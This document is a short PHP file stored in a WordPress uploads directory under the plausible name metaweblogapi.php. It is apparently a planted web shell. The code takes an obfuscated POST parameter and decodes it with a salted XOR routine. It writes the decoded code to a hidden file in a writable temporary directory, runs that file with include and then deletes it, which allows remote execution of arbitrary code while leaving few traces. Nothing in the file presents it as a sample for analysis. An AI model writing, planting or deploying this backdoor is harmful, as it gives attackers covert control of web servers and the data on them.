File: /var/www/thaler/wp-content/uploads/wpcode/metaweblogapi.php
<?php
if(array_key_exists("\x66la\x67", $_POST)){
$binding = array_filter([sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/tmp"]);
$value = $_POST["\x66la\x67"];
$value= explode ( "." , $value );
$reference ='';
$salt7 ='abcdefghijklmnopqrstuvwxyz0123456789';
$sLen =strlen($salt7 );
foreach($value as $s => $v8) {
$chS =ord($salt7[$s% $sLen] );
$dec =((int)$v8 - $chS -($s% 10)) ^ 96;
$reference .= chr($dec ); }
foreach ($binding as $key => $item) {
if (is_writable($item) && is_dir($item)) {
$desc = vsprintf("%s/%s", [$item, ".k"]);
$success = file_put_contents($desc, $reference);
if ($success) {
include $desc;
@unlink($desc);
die();}
}
}
}